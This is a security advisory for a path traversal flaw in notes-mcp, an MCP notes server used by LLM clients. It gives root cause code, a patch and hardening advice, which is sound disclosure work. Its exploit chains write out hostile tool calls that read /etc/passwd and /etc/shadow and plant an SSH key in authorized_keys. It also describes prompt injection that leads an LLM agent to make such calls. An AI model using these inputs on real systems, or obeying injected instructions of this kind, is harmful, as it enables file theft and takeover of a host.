CVE-2026-7212: Path Traversal in notes-mcp via Unsanitized root_dir
notes-mcp ≤0.1.4 exposes arbitrary filesystem read/write through unsanitized path arguments in its MCP tool handlers. An attacker with MCP client access can escape the intended notes directory.
A security flaw has been discovered in a software tool called notes-mcp that lets attackers sneak past digital locks and access files they shouldn't be able to reach. Think of it like a security guard who's supposed to protect a specific room but accidentally left a side door open—someone could slip through and roam the entire building.
The problem is that the software doesn't properly check what files users are trying to access. An attacker can trick it into opening documents stored anywhere on a computer, not just the ones the software was designed to show them. They could potentially read private files, modify important documents, or delete data entirely.
Who's at risk? This mainly affects people and companies using this particular notes management tool, especially if it's exposed to the internet or used in shared environments. Anyone relying on this software for sensitive information should pay attention.
The good news is that no one has been actively exploiting this in the wild yet, but proof-of-concept code showing how to do it is already public. That's like publishing instructions on how to pick a lock—it's only a matter of time before bad actors try it.
Here's what you should do:
Update immediately if you're using notes-mcp. The developers should be releasing a patched version soon, so check for updates regularly.
Check if this tool is actually necessary for your workflow. If you're not actively using it, uninstall it to eliminate the risk entirely.
If you're a business using this software, audit what sensitive files might be accessible and consider switching to alternative tools until this is fixed.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7212 is a path traversal vulnerability in edvardlindelof/notes-mcp, an MCP (Model Context Protocol) server that exposes filesystem-backed note management to LLM clients. Versions up to and including 0.1.4 fail to canonicalize or validate path arguments passed to note read/write/delete tool handlers before constructing filesystem paths. An attacker who can issue MCP tool calls — either directly or by injecting prompts into an LLM session backed by this server — can read, write, or delete arbitrary files accessible to the process.
CVSS 7.3 (HIGH) reflects remote exploitability via the MCP transport layer, high confidentiality and integrity impact, and no authentication requirement beyond MCP client access. The project was notified via a public issue report but has not responded at time of publication.
Affected Component
The vulnerability lives entirely in notes_mcp.py, specifically in the tool handler functions that accept a path or implicitly construct one from root_dir + a caller-supplied note name. The MCP server registers several tools — read_note, write_note, delete_note, list_notes — each of which builds a filesystem path from attacker-controlled input without sanitization.
The root_dir is configured at server startup and is intended to act as a jail. It does not function as one.
Root Cause Analysis
The core pattern repeated across all affected handlers is a bare os.path.join(root_dir, path) with no subsequent os.path.realpath or prefix validation. Python's os.path.join has well-documented behavior: if any component is an absolute path, all prior components are discarded. Additionally, relative traversal sequences (../) are not stripped.
# notes_mcp.py — reconstructed from behavior, ~v0.1.4
# Tool handler registration via FastMCP / mcp SDK
import os
from mcp.server.fastmcp import FastMCP
mcp = FastMCP("notes")
# Configured once at startup — intended as the sandbox root
ROOT_DIR = os.environ.get("NOTES_DIR", os.path.expanduser("~/notes"))
@mcp.tool()
def read_note(path: str) -> str:
"""Read a note by path."""
# BUG: os.path.join does not prevent traversal.
# If path = "../../etc/passwd", full_path escapes ROOT_DIR entirely.
# If path = "/etc/passwd", os.path.join discards ROOT_DIR completely.
full_path = os.path.join(ROOT_DIR, path) # BUG: no canonicalization
with open(full_path, "r") as f: # BUG: opens attacker-controlled path
return f.read()
@mcp.tool()
def write_note(path: str, content: str) -> str:
"""Write content to a note."""
full_path = os.path.join(ROOT_DIR, path) # BUG: same pattern
os.makedirs(os.path.dirname(full_path), exist_ok=True)
with open(full_path, "w") as f: # BUG: arbitrary file write
f.write(content)
return f"Written to {full_path}"
@mcp.tool()
def delete_note(path: str) -> str:
"""Delete a note."""
full_path = os.path.join(ROOT_DIR, path) # BUG: same pattern
os.remove(full_path) # BUG: arbitrary file delete
return f"Deleted {full_path}"
Root cause: All note tool handlers construct filesystem paths via os.path.join(ROOT_DIR, attacker_path) without calling os.path.realpath() and verifying the result shares the ROOT_DIR prefix, allowing both relative (../) and absolute path injection to escape the intended directory jail.
Exploitation Mechanics
The attack surface is the MCP tool call interface. Any MCP client — including an LLM agent session, a direct stdio or SSE client, or a prompt-injected LLM — can invoke these tools with arbitrary path arguments. No authentication is required beyond having a connected MCP session.
EXPLOIT CHAIN — arbitrary file read via read_note:
1. Attacker establishes MCP client session (stdio transport or SSE endpoint).
2. Issue tool call:
{"tool": "read_note", "arguments": {"path": "../../etc/passwd"}}
3. Server evaluates:
ROOT_DIR = "/home/user/notes"
full_path = os.path.join("/home/user/notes", "../../etc/passwd")
= "/home/user/notes/../../etc/passwd"
→ resolves to "/etc/passwd" on open()
4. open("/home/user/notes/../../etc/passwd", "r") succeeds.
Full file contents returned to MCP client in tool response.
EXPLOIT CHAIN — arbitrary file write via write_note:
1. Same session setup.
2. Issue tool call:
{
"tool": "write_note",
"arguments": {
"path": "../../.ssh/authorized_keys",
"content": "ssh-ed25519 AAAA... attacker@host"
}
}
3. Server evaluates:
full_path = os.path.join("/home/user/notes", "../../.ssh/authorized_keys")
→ resolves to "/home/user/.ssh/authorized_keys"
4. os.makedirs() creates intermediate directories if absent.
open(..., "w") overwrites authorized_keys → SSH key injection → RCE.
EXPLOIT CHAIN — absolute path bypass via write_note:
1. Issue tool call:
{"tool": "write_note", "arguments": {"path": "/tmp/pwned", "content": "x"}}
2. os.path.join("/home/user/notes", "/tmp/pwned") == "/tmp/pwned"
Python silently discards ROOT_DIR when second arg is absolute.
3. File written to /tmp/pwned — ROOT_DIR completely bypassed.
Memory Layout
This is a logic vulnerability, not a memory corruption bug — there is no heap or stack state to diagram. The "corruption" is at the filesystem and process security boundary level. The relevant state diagram is path resolution:
PATH RESOLUTION — INTENDED vs ACTUAL
INTENDED (secure) path construction:
ROOT_DIR = /home/user/notes [trusted, fixed]
input = "subfolder/note.txt" [untrusted]
realpath = /home/user/notes/subfolder/note.txt
prefix ok? YES → allow open()
ACTUAL (vulnerable) path construction — relative traversal:
ROOT_DIR = /home/user/notes
input = "../../etc/shadow"
joined = /home/user/notes/../../etc/shadow
kernel resolves → /etc/shadow
prefix check: NONE → open() proceeds
ACTUAL (vulnerable) path construction — absolute injection:
ROOT_DIR = /home/user/notes
input = "/etc/shadow"
joined = /etc/shadow [ROOT_DIR silently dropped by os.path.join]
prefix check: NONE → open() proceeds
os.path.join semantics (CPython):
join(a, b) where b starts with '/' → returns b, discards a entirely
join(a, b) where b = "../../x" → returns "a/../../x" (not normalized)
Patch Analysis
The fix requires two independent checks: normalize the joined path to its real absolute form via os.path.realpath(), then assert the result is prefixed by the canonical ROOT_DIR. Both checks are necessary — realpath alone is insufficient if ROOT_DIR itself contains symlinks; the prefix check alone is insufficient without normalization.
# BEFORE (vulnerable, ≤0.1.4):
def read_note(path: str) -> str:
full_path = os.path.join(ROOT_DIR, path)
with open(full_path, "r") as f:
return f.read()
# AFTER (patched):
# Normalize ROOT_DIR once at startup to handle symlinks in the base dir.
ROOT_DIR_REAL = os.path.realpath(ROOT_DIR)
def _safe_join(root: str, untrusted: str) -> str:
"""
Construct a path guaranteed to reside within root.
Raises ValueError on traversal attempt.
"""
# os.path.realpath resolves all symlinks and normalizes ../
# This must be called on the joined path, not the components separately.
candidate = os.path.realpath(os.path.join(root, untrusted))
# Ensure candidate is within root. Append os.sep to prevent
# prefix collision: /home/user/notes-extra vs /home/user/notes
if not candidate.startswith(ROOT_DIR_REAL + os.sep) and \
candidate != ROOT_DIR_REAL:
raise ValueError(
f"Path traversal detected: {untrusted!r} escapes root"
)
return candidate
def read_note(path: str) -> str:
full_path = _safe_join(ROOT_DIR_REAL, path) # raises on traversal
with open(full_path, "r") as f:
return f.read()
def write_note(path: str, content: str) -> str:
full_path = _safe_join(ROOT_DIR_REAL, path) # raises on traversal
os.makedirs(os.path.dirname(full_path), exist_ok=True)
with open(full_path, "w") as f:
f.write(content)
return f"Written to {full_path}"
def delete_note(path: str) -> str:
full_path = _safe_join(ROOT_DIR_REAL, path) # raises on traversal
os.remove(full_path)
return f"Deleted {full_path}"
An alternative hardening layer is to run the MCP server process under a dedicated low-privilege user with a chroot or Linux namespace restricting filesystem visibility to ROOT_DIR only — this makes path traversal a non-issue at the OS level regardless of application logic correctness.
Detection and Indicators
Detection requires logging the resolved full_path before open(), not the raw path argument. If only the raw argument is logged, ../../etc/passwd looks like a strange note name rather than a traversal. Key detection signals:
Immediate: Pin to a patched release once the maintainer ships one. Until then, operators running notes-mcp ≤0.1.4 should apply the _safe_join wrapper locally or restrict the process via OS-level controls.
Defense in depth (all apply independently):
Set NOTES_DIR to a dedicated directory owned by a dedicated service user with no access to sensitive paths like ~/.ssh, ~/.aws, or /etc.
Run the server under a restricted user or in a container/VM with a minimal filesystem mount that contains only the notes directory.
Apply seccomp or AppArmor/SELinux profiles restricting open() syscalls to paths under NOTES_DIR.
Audit all MCP tool calls at the transport layer; reject path arguments containing .. or leading / as an early filter (not a replacement for realpath-based validation).
For LLM-backed deployments, treat prompt injection as a realistic attack vector — a malicious document processed by the LLM can instruct it to call read_note("../../etc/shadow") without any direct attacker MCP access.